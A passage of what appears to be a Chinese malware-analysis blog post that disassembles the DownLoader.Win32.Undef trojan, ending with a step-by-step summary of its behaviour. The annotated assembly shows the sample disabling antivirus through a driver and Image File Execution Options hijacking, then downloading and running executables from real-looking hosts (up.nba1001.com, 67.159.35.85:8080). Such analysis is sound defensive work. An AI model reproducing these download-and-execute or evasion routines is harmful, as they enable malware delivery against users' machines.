  150. 003C462D        >call dword ptr [<&USER32.wsprintfA>] ; /wsprintfA
  151. 003C4633        >add esp, 10
  152. 003C4636        >lea eax, dword ptr [ebp-FCC]
  153. 003C463C        >push eax                             ; /pHandle
  154. 003C463D        >push 2001F                           ; |Access = KEY_QUERY_VALUE|KEY_SET_VALUE|KEY_CREATE_SUB_KEY|KEY_ENUMERATE_SUB_KEYS|KEY_NOTIFY|20000
  155. 003C4642        >push 0                               ; |Reserved = 0
  156. 003C4644        >lea eax, dword ptr [ebp-13D0]        ; |
  157. 003C464A        >push eax                             ; |Subkey
  158. 003C464B        >push 80000002                        ; |hKey = HKEY_LOCAL_MACHINE
  159. 003C4650        >call dword ptr [<&ADVAPI32.RegOpenKe>; /RegOpenKeyExA
  160. 003C4656        >push 4                               ; /BufSize = 4
  161. 003C4658        >lea eax, dword ptr [ebp-FD0]         ; |
  162. 003C465E        >push eax                             ; |Buffer
  163. 003C465F        >push 4                               ; |ValueType = REG_DWORD
  164. 003C4661        >push 0                               ; |Reserved = 0
  165. 003C4663        >push 003C566C                        ; |ValueName = "Start"
  166. 003C4668        >push dword ptr [ebp-FCC]             ; |hKey
  167. 003C466E        >call dword ptr [<&ADVAPI32.RegSetVal>; /RegSetValueExA
  168. 003C4674        >push dword ptr [ebp-FCC]             ; /hKey
  169. 003C467A        >call dword ptr [<&ADVAPI32.RegCloseK>; /RegCloseKey
  170. 003C4680        >jmp short 003C4687
  171. 003C4682        >jmp 003C45A5
  172. 003C4687        >push 0                               ; /hTemplateFile = NULL
  173. 003C4689        >push 80                              ; |Attributes = NORMAL
  174. 003C468E        >push 3                               ; |Mode = OPEN_EXISTING
  175. 003C4690        >push 0                               ; |pSecurity = NULL
  176. 003C4692        >push 1                               ; |ShareMode = FILE_SHARE_READ
  177. 003C4694        >push C0000000                        ; |Access = GENERIC_READ|GENERIC_WRITE
  178. 003C4699        >push 003C5674                        ; |FileName = "//./Accopt"
  179. 003C469E        >call dword ptr [<&KERNEL32.CreateFil>; /CreateFileA
  180. 003C46A4        >mov dword ptr [ebp-10], eax
  181. 003C46A7        >cmp dword ptr [ebp-10], -1
  182. 003C46AB        >jnz short 003C46B7
  183. 003C46AD        >jmp 003C48A2
  184. 003C46B2        >jmp 003C48A2
  185. 003C46B7        >cmp dword ptr [ebp-4], 0
  186. 003C46BB        >jnz 003C4755
  187. 003C46C1        >and dword ptr [ebp-14DC], 0
  188. 003C46C8        >and dword ptr [ebp-14E0], 0
  189. 003C46CF        >push 104                             ; /n = 104 (260.)
  190. 003C46D4        >push 0                               ; |c = 00
  191. 003C46D6        >lea eax, dword ptr [ebp-14D8]        ; |
  192. 003C46DC        >push eax                             ; |s
  193. 003C46DD        >call             ; /memset
  194. 003C46E2        >add esp, 0C
  195. 003C46E5        >lea eax, dword ptr [ebp-14D8]
  196. 003C46EB        >push eax
  197. 003C46EC        >call 003C10A6
  198. 003C46F1        >mov dword ptr [ebp-14DC], eax
  199. 003C46F7        >lea eax, dword ptr [ebp-14D8]
  200. 003C46FD        >push eax                             ; /FileName
  201. 003C46FE        >call dword ptr [<&KERNEL32.LoadLibra>; /LoadLibraryA
  202. 003C4704        >mov dword ptr [ebp-14E0], eax
  203. 003C470A        >push 003C5680                        ; /ProcNameOrOrdinal = "MmGetSystemRoutineAddress"
  204. 003C470F        >push dword ptr [ebp-14E0]            ; |hModule
  205. 003C4715        >call dword ptr [<&KERNEL32.GetProcAd>; /GetProcAddress
  206. 003C471B        >mov ecx, dword ptr [ebp-14DC]
  207. 003C4721        >sub ecx, dword ptr [ebp-14E0]
  208. 003C4727        >add eax, ecx
  209. 003C4729        >mov dword ptr [ebp-4], eax
  210. 003C472C        >push dword ptr [ebp-14E0]            ; /hLibModule
  211. 003C4732        >call dword ptr [<&KERNEL32.FreeLibra>; /FreeLibrary
  212. 003C4738        >cmp dword ptr [ebp-4], 0
  213. 003C473C        >jnz short 003C4755
  214. 003C473E        >push dword ptr [ebp-10]              ; /hObject
  215. 003C4741        >call dword ptr [<&KERNEL32.CloseHand>; /CloseHandle
  216. 003C4747        >or dword ptr [ebp-10], FFFFFFFF
  217. 003C474B        >jmp 003C48A2
  218. 003C4750        >jmp 003C48A2
  219. 003C4755        >mov eax, dword ptr [ebp-4]
  220. 003C4758        >mov dword ptr [ebp-1C], eax
  221. 003C475B        >push 0                               ; /pOverlapped = NULL
  222. 003C475D        >lea eax, dword ptr [ebp-14]          ; |
  223. 003C4760        >push eax                             ; |pBytesReturned
  224. 003C4761        >push 4                               ; |OutBufferSize = 4
  225. 003C4763        >lea eax, dword ptr [ebp-20]          ; |
  226. 003C4766        >push eax                             ; |OutBuffer
  227. 003C4767        >push 4                               ; |InBufferSize = 4
  228. 003C4769        >lea eax, dword ptr [ebp-1C]          ; |
  229. 003C476C        >push eax                             ; |InBuffer
  230. 003C476D        >push 222193                          ; |IoControlCode = 222193
  231. 003C4772        >push dword ptr [ebp-10]              ; |hDevice
  232. 003C4775        >call dword ptr [<&KERNEL32.DeviceIoC>; /DeviceIoControl
  233. 003C477B        >cmp dword ptr [3C6054], 0
  234. 003C4782        >je short 003C47C8
  235. 003C4784        >mov eax, dword ptr [ebp-1C]
  236. 003C4787        >cmp eax, dword ptr [ebp-4]
  237. 003C478A        >je short 003C47C8
  238. 003C478C        >cmp dword ptr [ebp-20], 0
  239. 003C4790        >je short 003C47C8
  240. 003C4792        >lea eax, dword ptr [ebp-1DA0]
  241. 003C4798        >push eax
  242. 003C4799        >push dword ptr [ebp-1C]
  243. 003C479C        >push dword ptr [ebp-20]
  244. 003C479F        >call 003C1151
  245. 003C47A4        >push 0                               ; /pOverlapped = NULL
  246. 003C47A6        >lea eax, dword ptr [ebp-14]          ; |
  247. 003C47A9        >push eax                             ; |pBytesReturned
  248. 003C47AA        >push 8C0                             ; |OutBufferSize = 8C0 (2240.)
  249. 003C47AF        >lea eax, dword ptr [ebp-1DA0]        ; |
  250. 003C47B5        >push eax                             ; |OutBuffer
  251. 003C47B6        >push 0                               ; |InBufferSize = 0
  252. 003C47B8        >push 0                               ; |InBuffer = NULL
  253. 003C47BA        >push 22221F                          ; |IoControlCode = 22221F
  254. 003C47BF        >push dword ptr [ebp-10]              ; |hDevice
  255. 003C47C2        >call dword ptr [<&KERNEL32.DeviceIoC>; /DeviceIoControl
  256. 003C47C8        >mov dword ptr [ebp-8], 003C6350
  257. 003C47CF        >mov eax, dword ptr [ebp-8]
  258. 003C47D2        >movsx eax, byte ptr [eax]
  259. 003C47D5        >test eax, eax
  260. 003C47D7        >je 003C489A
  261. 003C47DD        >push 400                             ; /n = 400 (1024.)
  262. 003C47E2        >push 0                               ; |c = 00
  263. 003C47E4        >lea eax, dword ptr [ebp-F40]         ; |
  264. 003C47EA        >push eax                             ; |s
  265. 003C47EB        >call             ; /memset
  266. 003C47F0        >add esp, 0C
  267. 003C47F3        >push dword ptr [ebp-8]               ; /<%s>
  268. 003C47F6        >push dword ptr [3C6008]              ; |<%s> = "SOFTWARE/Microsoft/Windows NT/CurrentVersion/Image File Execution Options"
  269. 003C47FC        >push dword ptr [3C6000]              ; |<%s> = "/Registry/Machine"
  270. 003C4802        >push 003C569C                        ; |Format = "%s/%s/%s"
  271. 003C4807        >lea eax, dword ptr [ebp-F40]         ; |
  272. 003C480D        >push eax                             ; |s
  273. 003C480E        >call dword ptr [<&USER32.wsprintfA>] ; /wsprintfA
  274. 003C4814        >add esp, 14
  275. 003C4817        >lea eax, dword ptr [ebp-F40]
  276. 003C481D        >push eax                             ; /String
  277. 003C481E        >call dword ptr [<&KERNEL32.lstrlenA>>; /lstrlenA
  278. 003C4824        >mov dword ptr [ebp-18], eax
  279. 003C4827        >push 800                             ; /n = 800 (2048.)
  280. 003C482C        >push 0                               ; |c = 00
  281. 003C482E        >lea eax, dword ptr [ebp-820]         ; |
  282. 003C4834        >push eax                             ; |s
  283. 003C4835        >call             ; /memset
  284. 003C483A        >add esp, 0C
  285. 003C483D        >push dword ptr [ebp-18]              ; /WideBufSize
  286. 003C4840        >lea eax, dword ptr [ebp-820]         ; |
  287. 003C4846        >push eax                             ; |WideCharBuf
  288. 003C4847        >push dword ptr [ebp-18]              ; |StringSize
  289. 003C484A        >lea eax, dword ptr [ebp-F40]         ; |
  290. 003C4850        >push eax                             ; |StringToMap
  291. 003C4851        >push 0                               ; |Options = 0
  292. 003C4853        >push 0                               ; |CodePage = CP_ACP
  293. 003C4855        >call dword ptr [<&KERNEL32.MultiByte>; /MultiByteToWideChar
  294. 003C485B        >push 0                               ; /pOverlapped = NULL
  295. 003C485D        >lea eax, dword ptr [ebp-14]          ; |
  296. 003C4860        >push eax                             ; |pBytesReturned
  297. 003C4861        >push 0                               ; |OutBufferSize = 0
  298. 003C4863        >push 0                               ; |OutBuffer = NULL
  299. 003C4865        >mov eax, dword ptr [ebp-18]          ; |
  300. 003C4868        >lea eax, dword ptr [eax+eax+2]       ; |
  301. 003C486C        >push eax                             ; |InBufferSize
  302. 003C486D        >lea eax, dword ptr [ebp-820]         ; |
  303. 003C4873        >push eax                             ; |InBuffer
  304. 003C4874        >push 22245C                          ; |IoControlCode = 22245C
  305. 003C4879        >push dword ptr [ebp-10]              ; |hDevice
  306. 003C487C        >call dword ptr [<&KERNEL32.DeviceIoC>; /DeviceIoControl
  307. 003C4882        >push dword ptr [ebp-8]               ; /String
  308. 003C4885        >call dword ptr [<&KERNEL32.lstrlenA>>; /lstrlenA
  309. 003C488B        >mov ecx, dword ptr [ebp-8]
  310. 003C488E        >lea eax, dword ptr [ecx+eax+1]
  311. 003C4892        >mov dword ptr [ebp-8], eax
  312. 003C4895        >jmp 003C47CF
  313. 003C489A        >push dword ptr [ebp-10]
  314. 003C489D        >call 003C42BA
  315. 003C48A2        >push 0                               ; /pThreadId = NULL
  316. 003C48A4        >push 0                               ; |CreationFlags = 0
  317. 003C48A6        >push 0                               ; |pThreadParm = NULL
  318. 003C48A8        >push 003C27B7                        ; |ThreadFunction = appmgmts.003C27B7
  319. 003C48AD        >push 0                               ; |StackSize = 0
  320. 003C48AF        >push 0                               ; |pSecurity = NULL
  321. 003C48B1        >call dword ptr [<&KERNEL32.CreateThr>; /CreateThread                        创建线程2
  322. 003C48B7        >cmp dword ptr [ebp-10], -1
  323. 003C48BB        >je short 003C48D7
  324. 003C48BD        >xor eax, eax
  325. 003C48BF        >inc eax
  326. 003C48C0        >je short 003C48D7
  327. 003C48C2        >push dword ptr [ebp-10]       
  328. 003C48C5        >call 003C42BA                        不断循环检测服务是否启动,如果服务被关闭,则启动。并对绝大多数杀毒软件作镜像劫持       
  329. 003C48CA        >push 5DC
  330. 003C48CF        >call dword ptr [ebp-92C]                sleep函数
  331. 003C48D5        >jmp short 003C48BD
  332. 003C48D7        >xor eax, eax
  333. 003C48D9        >leave
  334. 003C48DA        >retn 4
复制代码

总体流程结束
------------------------------------------------------------------
        进入线程 2,代码如下:

  1. 003C27B7         >push ebp
  2. 003C27B8         >mov ebp, esp
  3. 003C27BA         >sub esp, 90
  4. 003C27C0         >and dword ptr [ebp-20], 0
  5. 003C27C4         >and dword ptr [ebp-1C], 0
  6. 003C27C8         >and dword ptr [ebp-14], 0
  7. 003C27CC         >and dword ptr [ebp-C], 0
  8. 003C27D0         >and dword ptr [ebp-18], 0
  9. 003C27D4         >and dword ptr [ebp-8], 0
  10. 003C27D8         >and dword ptr [ebp-64], 0
  11. 003C27DC         >and dword ptr [ebp-10], 0
  12. 003C27E0         >and dword ptr [ebp-4], 0
  13. 003C27E4         >push 003C5474                        ; /FileName = "urlmon.dll"  加载urlmon.dll模块
  14. 003C27E9         >call dword ptr [<&KERNEL32.LoadLibra>; /LoadLibraryA
  15. 003C27EF         >mov dword ptr [ebp-64], eax
  16. 003C27F2         >push 003C5480                        ; /ProcNameOrOrdinal = "URLDownloadToFileA" 获取该函数地址
  17. 003C27F7         >push dword ptr [ebp-64]              ; |hModule
  18. 003C27FA         >call dword ptr [<&KERNEL32.GetProcAd>; /GetProcAddress
  19. 003C2800         >mov dword ptr [3C7584], eax
  20. 003C2805         >push 003C5494                        ; /FileName = "Wininet.dll"
  21. 003C280A         >call dword ptr [<&KERNEL32.LoadLibra>; /LoadLibraryA
  22. 003C2810         >mov dword ptr [ebp-10], eax
  23. 003C2813         >push 003C54A0                        ; /ProcNameOrOrdinal = "GetUrlCacheEntryInfoA"
  24. 003C2818         >push dword ptr [ebp-10]              ; |hModule
  25. 003C281B         >call dword ptr [<&KERNEL32.GetProcAd>; /GetProcAddress
  26. 003C2821         >mov dword ptr [ebp-4], eax
  27. 003C2824         >push 0
  28. 003C2826         >push dword ptr [3C600C]
  29. 003C282C         >push 200
  30. 003C2831         >push 003C6058                        ;  ASCII "up.nba1001.com"
  31. 003C2836         >call                                 字符处理函数
  32. 003C283B         >push 0
  33. 003C283D         >push dword ptr [3C600C]
  34. 003C2843         >push 30
  35. 003C2845         >push 003C625C                        ;  ASCII "down"
  36. 003C284A         >call
  37. 003C284F         >push 0
  38. 003C2851         >push dword ptr [3C600C]
  39. 003C2857         >push 5C
  40. 003C2859         >push 003C6290                        ;  UNICODE "02"
  41. 003C285E         >call
  42. 003C2863         >call 003C2742
  43. 003C2868         >push 003C54B8                        ;  ASCII "Explorer.exe"
  44. 003C286D         >call                                 关闭Explorer.exe进程
  45. 003C2872         >mov dword ptr [ebp-C], eax
  46. 003C2875         >cmp dword ptr [ebp-C], 0
  47. 003C2879         >je short 003C28AD
  48. 003C287B         >and dword ptr [ebp-68], 0
  49. 003C287F         >push dword ptr [ebp-C]               ; /ProcessId
  50. 003C2882         >push 0                               ; |Inheritable = FALSE
  51. 003C2884         >push 400                             ; |Access = QUERY_INFORMATION
  52. 003C2889         >call dword ptr [<&KERNEL32.OpenProce>; /OpenProcess
  53. 003C288F         >mov dword ptr [ebp-68], eax
  54. 003C2892         >lea eax, dword ptr [ebp-8]
  55. 003C2895         >push eax                             ; /phToken
  56. 003C2896         >push 0F01FF                          ; |DesiredAccess = STANDARD_RIGHTS_REQUIRED|TOKEN_ASSIGN_PRIMARY|TOKEN_DUPLICATE|TOKEN_IMPERSONATE|TOKEN_QUERY|TOKEN_QUERY_SOURCE|TOKEN_ADJUST_PRIVILEGES|TOKEN_ADJUST_GROUPS|TOKEN_ADJUST_DEFAULT|100
  57. 003C289B         >push dword ptr [ebp-68]              ; |hProcess
  58. 003C289E         >call dword ptr [<&ADVAPI32.OpenProce>; /OpenProcessToken
  59. 003C28A4         >push dword ptr [ebp-68]              ; /hObject
  60. 003C28A7         >call dword ptr [<&KERNEL32.CloseHand>; /CloseHandle
  61. 003C28AD         >mov dword ptr [ebp-20], 003C6290
  62. 003C28B4         >xor eax, eax
  63. 003C28B6         >inc eax
  64. 003C28B7         >je 003C2B2C
  65. 003C28BD         >mov dword ptr [ebp-6C], 1
  66. 003C28C4         >push 40                              ; /n = 40 (64.)
  67. 003C28C6         >push 0                               ; |c = 00
  68. 003C28C8         >lea eax, dword ptr [ebp-60]          ; |
  69. 003C28CB         >push eax                             ; |s
  70. 003C28CC         >call             ; /memset
  71. 003C28D1         >add esp, 0C
  72. 003C28D4         >push 0
  73. 003C28D6         >push 40
  74. 003C28D8         >lea eax, dword ptr [ebp-60]
  75. 003C28DB         >push eax
  76. 003C28DC         >lea eax, dword ptr [ebp-14]
  77. 003C28DF         >push eax
  78. 003C28E0         >lea eax, dword ptr [ebp-1C]
  79. 003C28E3         >push eax
  80. 003C28E4         >push 003C6058
  81. 003C28E9         >call 003C22F0                                关键call 3,查看网络连接
  82. 003C28EE         >test eax, eax
  83. 003C28F0         >jnz short 003C28F7
  84. 003C28F2         >jmp 003C2B2C
  85. 003C28F7         >mov eax, dword ptr [ebp-20]
  86. 003C28FA         >movsx eax, byte ptr [eax]
  87. 003C28FD         >test eax, eax
  88. 003C28FF         >je 003C2B1F
  89. 003C2905         >and dword ptr [ebp-70], 0
  90. 003C2909         >push 400                             ; /n = 400 (1024.)
  91. 003C290E         >push 0                               ; |c = 00
  92. 003C2910         >push 003C6E60                        ; |s = appmgmts.003C6E60
  93. 003C2915         >call             ; /memset
  94. 003C291A         >add esp, 0C
  95. 003C291D         >push 104                             ; /n = 104 (260.)
  96. 003C2922         >push 0                               ; |c = 00
  97. 003C2924         >push 003C7260                        ; |s = appmgmts.003C7260
  98. 003C2929         >call             ; /memset
  99. 003C292E         >add esp, 0C
  100. 003C2931         >push dword ptr [ebp-20]              ; /<%s>
  101. 003C2934         >push 003C625C                        ; |<%s> = "?掫h?
  102. 003C2939         >push dword ptr [3C6050]              ; |<%d> = 1F90 (8080.)
  103. 003C293F         >lea eax, dword ptr [ebp-60]          ; |
  104. 003C2942         >push eax                             ; |<%s>
  105. 003C2943         >push 003C54C8                        ; |Format = "http://%s:%d/%s/%s.exe"
  106. 003C2948         >push 003C6E60                        ; |s = appmgmts.003C6E60
  107. 003C294D         >call dword ptr [<&USER32.wsprintfA>] ; /wsprintfA                        字符连接,得到下载链接
  108. 003C2953         >add esp, 18
  109. 003C2956         >call 003C176E                                获得一个随机数字串
  110. 003C295B         >push eax                             ; /<%d>
  111. 003C295C         >push dword ptr [ebp-20]              ; |<%s>
  112. 003C295F         >push 003C7368                        ; |<%s> = "C:/DOCUME~1/safe/LOCALS~1/Temp/"
  113. 003C2964         >push 003C54E0                        ; |Format = "%s%s%d.exe"
  114. 003C2969         >push 003C7260                        ; |s = appmgmts.003C7260
  115. 003C296E         >call dword ptr [<&USER32.wsprintfA>] ; /wsprintfA                        字符连接,得到下载到本地临时目录的文件名,本机是C:/LOCALS~1/Temp/01139.exe
  116. 003C2974         >add esp, 14
  117. 003C2977         >and dword ptr [ebp-74], 0
  118. 003C297B         >jmp short 003C2984
  119. 003C297D         >mov eax, dword ptr [ebp-74]
  120. 003C2980         >inc eax
  121. 003C2981         >mov dword ptr [ebp-74], eax
  122. 003C2984         >cmp dword ptr [ebp-74], 2
  123. 003C2988         >jge 003C2AE1
  124. 003C298E         >and dword ptr [ebp-7C], 0
  125. 003C2992         >and dword ptr [ebp-80], 0
  126. 003C2996         >and dword ptr [ebp-78], 0
  127. 003C299A         >push 0                               ; /pThreadId = NULL
  128. 003C299C         >push 0                               ; |CreationFlags = 0
  129. 003C299E         >push 0                               ; |pThreadParm = NULL
  130. 003C29A0         >push 003C278F                        ; |ThreadFunction = appmgmts.003C278F
  131. 003C29A5         >push 0                               ; |StackSize = 0
  132. 003C29A7         >push 0                               ; |pSecurity = NULL
  133. 003C29A9         >call dword ptr [<&KERNEL32.CreateThr>; /CreateThread                        创建线程3,下载病毒文件到临时目录。
  134. 003C29AF         >mov dword ptr [ebp-80], eax
  135. 003C29B2         >push 1F40                            ; /Timeout = 8000. ms
  136. 003C29B7         >push dword ptr [ebp-80]              ; |hObject
  137. 003C29BA         >call dword ptr [<&KERNEL32.WaitForSi>; /WaitForSingleObject
  138. 003C29C0         >mov dword ptr [ebp-78], eax
  139. 003C29C3         >cmp dword ptr [ebp-78], 102
  140. 003C29CA         >jnz short 003C29D7
  141. 003C29CC         >push 1                               ; /ExitCode = 1
  142. 003C29CE         >push dword ptr [ebp-80]              ; |hThread
  143. 003C29D1         >call dword ptr [<&KERNEL32.Terminate>; /TerminateThread
  144. 003C29D7         >lea eax, dword ptr [ebp-7C]
  145. 003C29DA         >push eax                             ; /pExitCode
  146. 003C29DB         >push dword ptr [ebp-80]              ; |hThread
  147. 003C29DE         >call dword ptr [<&KERNEL32.GetExitCo>; /GetExitCodeThread
  148. 003C29E4         >push dword ptr [ebp-80]              ; /hObject
  149. 003C29E7         >call dword ptr [<&KERNEL32.CloseHand>; /CloseHandle
  150. 003C29ED         >cmp dword ptr [ebp-7C], 0
  151. 003C29F1         >jnz 003C2AB8
  152. 003C29F7         >and dword ptr [ebp-84], 0
  153. 003C29FE         >lea eax, dword ptr [ebp-84]
  154. 003C2A04         >push eax
  155. 003C2A05         >push 0
  156. 003C2A07         >push 003C6E60
  157. 003C2A0C         >call dword ptr [ebp-4]
  158. 003C2A0F         >cmp dword ptr [ebp-84], 0
  159. 003C2A16         >je short 003C2A7B
  160. 003C2A18         >push dword ptr [ebp-84]
  161. 003C2A1E         >call
  162. 003C2A23         >pop ecx
  163. 003C2A24         >mov dword ptr [ebp-8C], eax
  164. 003C2A2A         >mov eax, dword ptr [ebp-8C]
  165. 003C2A30         >mov dword ptr [ebp-88], eax
  166. 003C2A36         >lea eax, dword ptr [ebp-84]
  167. 003C2A3C         >push eax
  168. 003C2A3D         >push dword ptr [ebp-88]
  169. 003C2A43         >push 003C6E60
  170. 003C2A48         >call dword ptr [ebp-4]
  171. 003C2A4B         >mov eax, dword ptr [ebp-88]
  172. 003C2A51         >push dword ptr [eax+8]               ; /FileName
  173. 003C2A54         >call dword ptr [<&KERNEL32.DeleteFil>; /DeleteFileA
  174. 003C2A5A         >cmp dword ptr [ebp-88], 0
  175. 003C2A61         >je short 003C2A7B
  176. 003C2A63         >mov eax, dword ptr [ebp-88]
  177. 003C2A69         >mov dword ptr [ebp-90], eax
  178. 003C2A6F         >push dword ptr [ebp-90]
  179. 003C2A75         >call
  180. 003C2A7A         >pop ecx
  181. 003C2A7B         >push 003C7260
  182. 003C2A80         >call 003C26DA                        创建C:/LOCALS~1/Temp/01139.exe文件
  183. 003C2A85         >cmp eax, 1
  184. 003C2A88         >jnz short 003C2AA6
  185. 003C2A8A         >and dword ptr [ebp-18], 0
  186. 003C2A8E         >mov dword ptr [ebp-70], 1
  187. 003C2A95         >push dword ptr [ebp-8]
  188. 003C2A98         >push 003C7260
  189. 003C2A9D         >call 003C25F4                        执行下载回来的文件01139.exe
  190. 003C2AA2         >jmp short 003C2AE1
  191. 003C2AA4         >jmp short 003C2AB8
  192. 003C2AA6         >mov eax, dword ptr [ebp-18]
  193. 003C2AA9         >inc eax
  194. 003C2AAA         >mov dword ptr [ebp-18], eax
  195. 003C2AAD         >push 003C7260                        ; /FileName = ""
  196. 003C2AB2         >call dword ptr [<&KERNEL32.DeleteFil>; /DeleteFileA  删除C:/LOCALS~1/Temp/01139.exe文件
  197. 003C2AB8         >cmp dword ptr [ebp-7C], 800C0006
  198. 003C2ABF         >jnz short 003C2AD1
  199. 003C2AC1         >mov dword ptr [ebp-70], 1
  200. 003C2AC8         >mov eax, dword ptr [ebp-18]
  201. 003C2ACB         >inc eax
  202. 003C2ACC         >mov dword ptr [ebp-18], eax
  203. 003C2ACF         >jmp short 003C2AE1
  204. 003C2AD1         >push 0BB8                            ; /Timeout = 3000. ms
  205. 003C2AD6         >call dword ptr [<&KERNEL32.Sleep>]   ; /Sleep
  206. 003C2ADC         >jmp 003C297D
  207. 003C2AE1         >cmp dword ptr [ebp-18], 3
  208. 003C2AE5         >jb short 003C2AF0
  209. 003C2AE7         >mov dword ptr [ebp-6C], 1
  210. 003C2AEE         >jmp short 003C2B1F
  211. 003C2AF0         >cmp dword ptr [ebp-70], 0
  212. 003C2AF4         >jnz short 003C2AFC
  213. 003C2AF6         >and dword ptr [ebp-6C], 0
  214. 003C2AFA         >jmp short 003C2B1F
  215. 003C2AFC         >push dword ptr [ebp-20]              ; /String
  216. 003C2AFF         >call dword ptr [<&KERNEL32.lstrlenA>>; /lstrlenA
  217. 003C2B05         >mov ecx, dword ptr [ebp-20]
  218. 003C2B08         >lea eax, dword ptr [ecx+eax+1]
  219. 003C2B0C         >mov dword ptr [ebp-20], eax
  220. 003C2B0F         >push 1F40                            ; /Timeout = 8000. ms
  221. 003C2B14         >call dword ptr [<&KERNEL32.Sleep>]   ; /Sleep
  222. 003C2B1A         >jmp 003C28F7
  223. 003C2B1F         >cmp dword ptr [ebp-6C], 1
  224. 003C2B23         >jnz short 003C2B27
  225. 003C2B25         >jmp short 003C2B2C
  226. 003C2B27         >jmp 003C28B4
  227. 003C2B2C         >push dword ptr [ebp-64]              ; /hLibModule
  228. 003C2B2F         >call dword ptr [<&KERNEL32.FreeLibra>; /FreeLibrary
  229. 003C2B35         >xor eax, eax
  230. 003C2B37         >leave
  231. 003C2B38         >retn 4
复制代码

-----------------
        进入线程3,代码如下:

  1. 003C278F        />push ebp
  2. 003C2790        |>mov ebp, esp
  3. 003C2792        |>push ecx
  4. 003C2793        |>and [local.1], 0
  5. 003C2797        |>push 0
  6. 003C2799        |>push 0
  7. 003C279B        |>push 003C7260                        ;  ASCII "C:/DOCUME~1/safe/LOCALS~1/Temp/01139.exe"
  8. 003C27A0        |>push 003C6E60                        ;  ASCII "http://67.159.35.85:8080/down/0.exe"
  9. 003C27A5        |>push 0
  10. 003C27A7        |>call dword ptr [3C7584]              ;  urlmon.URLDownloadToFileA
  11. 003C27AD        |>mov [local.1], eax
  12. 003C27B0        |>mov eax, [local.1]
  13. 003C27B3        |>leave
  14. 003C27B4        />retn 4
复制代码

总结下流程:
1,比较模块基址和3C0000h,用于判断自身是exe还是dll文件。
2,是exe,创建C:/IOSYS.ini配置文件,加载sfc.dll,获得去除文件保护属性的导出函数地址,感染C:/WINDOWS/system32/appmgmts.dll,
qmgr.dll,检查文件appmgmts.dll是否存在,若不存在,则创建C:/System32/appmgmts.dll。若找到appmgmts.dll,则去掉该文件保护属性,
释放病毒动态链接库并命名为appmgmts.dll,替换系统正常文件%SystemRoot%/System32/appmgmts.dll。并替换文件
C:/system32/dllcache/appmgmts.dll.
3,启动"AppMgmt"服务,通过该服务加载C:/System32/appmgmts.dll。
4,读取C:/IOSYS.ini配置文件病毒路径,删除病毒主体。
5,创建线程,创建一个名为Accopt的服务,并加载。检测进程avp.exe等安全软件是否存在,如果找到,将其终止,并恢复SSDT。
6,创建线程,访问目标网址,下载大量病毒到本地运行。
7,不断循环检测服务是否启动,如果服务被关闭,则启动。并对绝大多数杀毒软件作镜像劫持。
可爱的结束符

你可能感兴趣的:(下载者DownLoader.Win32.Undef分析)